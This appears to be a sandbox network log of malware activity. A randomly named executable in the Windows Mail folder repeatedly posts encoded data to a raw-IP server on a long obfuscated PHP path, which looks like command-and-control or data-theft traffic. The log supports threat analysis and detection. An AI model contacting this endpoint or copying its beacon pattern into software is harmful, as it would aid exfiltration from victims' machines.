Jan 9, 2025 04:13:05.596579075 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1752 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:05.950398922 CET	1752	OUT	Data Raw: 5a 56 5c 5b 5f 5b 5d 59 55 56 55 5a 56 58 55 53 56 54 5a 5c 55 54 53 5f 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZV\[_[]YUVUZVXUSVTZ\UTS_T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&0)#7;$"+X(4?>=Z'9"( 'X&Y<^4,Z/ \%#Y)
Jan 9, 2025 04:13:06.273052931 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:06.401577950 CET	380	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 0c 1a 20 04 22 5f 25 01 3f 0c 33 59 28 12 3f 55 3c 31 2c 5a 3c 20 26 04 2a 03 2e 5a 2a 3d 2f 54 3f 15 21 07 30 32 2a 1e 23 3d 26 58 22 1a 2e 59 0c 1d 39 19 2a 05 2d 09 25 0d 2f 59 28 23 25 06 22 22 24 03 27 2d 39 0e 27 5e 38 10 3f 21 28 1e 3e 21 2f 52 3a 38 2a 1a 27 30 32 19 32 3e 21 5e 02 14 23 11 29 3e 37 1e 3e 37 0a 01 32 0b 2e 11 20 2d 31 08 21 5e 38 0a 21 01 2e 18 2b 22 3e 5d 23 31 01 03 33 30 22 1b 37 0f 39 1d 3d 19 2f 5c 2b 03 2b 49 01 31 55 56 Data Ascii: "_%?3Y(?U<1,Z< &.Z=/T?!02#=&X".Y9-%/Y(#%""$'-9'^8?!(>!/R:8*'022>!^#)>7>72. -1!^8!.+">]#130"79=/\++I1UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49881	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:05.686080933 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1044 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:06.044276953 CET	1044	OUT	Data Raw: 5f 55 59 5f 5f 5d 58 5d 55 56 55 5a 56 58 55 5d 56 50 5a 5d 55 51 53 59 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _UY__]X]UVUZVXU]VPZ]UQSYT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%$#;)0)-+#%(>6&S+3,1<$>'?? \%#Y)
Jan 9, 2025 04:13:06.405934095 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:06.539259911 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49888	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:06.678750992 CET	405	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue
Jan 9, 2025 04:13:07.028755903 CET	1048	OUT	Data Raw: 5f 57 5c 5a 5f 5f 58 5e 55 56 55 5a 56 5a 55 52 56 5d 5a 53 55 53 53 5a 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _W\Z__X^UVUZVZURV]ZSUSSZT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%0*3 ;)^3":[<- #5=85&9%V+#%0Y=0X+/ \%#Y),
Jan 9, 2025 04:13:07.377266884 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:07.517889023 CET	151	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49894	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:07.639667034 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:07.997292042 CET	1048	OUT	Data Raw: 5a 52 59 50 5a 5c 58 51 55 56 55 5a 56 5e 55 5d 56 52 5a 5c 55 57 53 5a 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZRYPZ\XQUVUZV^U]VRZ\UWSZT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&['93"8!^'!).#"&0;5&:9P33^$/>$#< \%#Y)<
Jan 9, 2025 04:13:08.351962090 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:08.485635996 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49903	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:08.609973907 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:08.966981888 CET	1048	OUT	Data Raw: 5f 51 59 50 5a 5c 58 5d 55 56 55 5a 56 5f 55 54 56 57 5a 53 55 5d 53 56 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _QYPZ\X]UVUZV_UTVWZSU]SVT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&$# !\'(.+ 6?\=X&)3_&/+$<^? \%#Y)
Jan 9, 2025 04:13:09.320389986 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:09.449242115 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49911	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:09.579055071 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:09.934837103 CET	1048	OUT	Data Raw: 5a 56 59 58 5f 5e 5d 5e 55 56 55 5a 56 59 55 53 56 50 5a 59 55 57 53 59 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZVYX_^]^UVUZVYUSVPZYUWSYT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&^$(#]0>+>+]"&#])+&*&+320_?48<? \%#Y)
Jan 9, 2025 04:13:10.268341064 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:10.399321079 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49917	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:10.535041094 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:10.887917042 CET	1048	OUT	Data Raw: 5a 57 59 5f 5a 5f 5d 5b 55 56 55 5a 56 5c 55 56 56 5c 5a 53 55 5d 53 5c 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZWY_Z_][UVUZV\UVV\ZSU]S\T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&\09[4]1^$2%+-("5;>=Z2:%V(3 2?<)(? \%#Y)4
Jan 9, 2025 04:13:11.234301090 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:11.363326073 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49922	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:11.409427881 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1764 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49923	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:11.498332024 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:11.856829882 CET	1048	OUT	Data Raw: 5a 57 59 58 5f 58 58 5c 55 56 55 5a 56 5b 55 54 56 50 5a 5e 55 52 53 5c 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZWYX_XX\UVUZV[UTVPZ^URS\T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%',7+\$"2X+44'\;:1_2#%? X=4$( \%#Y)(
Jan 9, 2025 04:13:12.193367958 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:12.322757959 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49931	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:12.451503038 CET	405	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue
Jan 9, 2025 04:13:12.809791088 CET	1048	OUT	Data Raw: 5a 5b 59 5f 5f 5b 5d 5d 55 56 55 5a 56 5d 55 54 56 57 5a 5f 55 5d 53 5e 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: Z[Y__[]]UVUZV]UTVWZ_U]S^T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&Z0*(7;'!1<,#5>=[%1V(<13>',X? \%#Y)0
Jan 9, 2025 04:13:13.142041922 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:13.273794889 CET	151	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49936	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:13.409130096 CET	405	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue
Jan 9, 2025 04:13:13.763046980 CET	1048	OUT	Data Raw: 5f 55 59 5e 5a 5e 58 5e 55 56 55 5a 56 50 55 56 56 5d 5a 5f 55 51 53 56 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _UY^Z^X^UVUZVPUVV]Z_UQSVT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%0)'#8-^01&]<.,75'\);6&9R+#+^&/8_=??/ \%#Y)
Jan 9, 2025 04:13:14.132550001 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:14.271169901 CET	151	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49943	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:14.432518005 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:14.778716087 CET	1048	OUT	Data Raw: 5f 55 59 5b 5f 5a 58 5d 55 56 55 5a 56 59 55 5d 56 5c 5a 5f 55 56 53 5e 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _UY[_ZX]UVUZVYU]V\Z_UVS^T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&^%)\7!]&2Y+=3X %?(;>': /$<8?$8_+ \%#Y)
Jan 9, 2025 04:13:15.149497986 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:15.281363010 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49949	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:15.406589985 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:15.762948036 CET	1048	OUT	Data Raw: 5f 51 59 5d 5a 59 58 5c 55 56 55 5a 56 5a 55 55 56 52 5a 58 55 5c 53 5c 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _QY]ZYX\UVUZVZUUVRZXU\S\T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&]3:<7;=Z01"<=/Z /*%)2+#$&=7Y(/ \%#Y),
Jan 9, 2025 04:13:16.104242086 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:16.235289097 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49957	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:16.359520912 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49959	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:16.503875971 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1752 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:16.856718063 CET	1752	OUT	Data Raw: 5f 55 59 5a 5f 5b 58 51 55 56 55 5a 56 58 55 52 56 5d 5a 59 55 5d 53 5f 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _UYZ_[XQUVUZVXURV]ZYU]S_T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&39#Y +)&"1<'X#C#>"21S(##^&Y?=$8Z<? \%#Y)<
Jan 9, 2025 04:13:17.192305088 CET	25	IN	HTTP/1.1 100 Continue
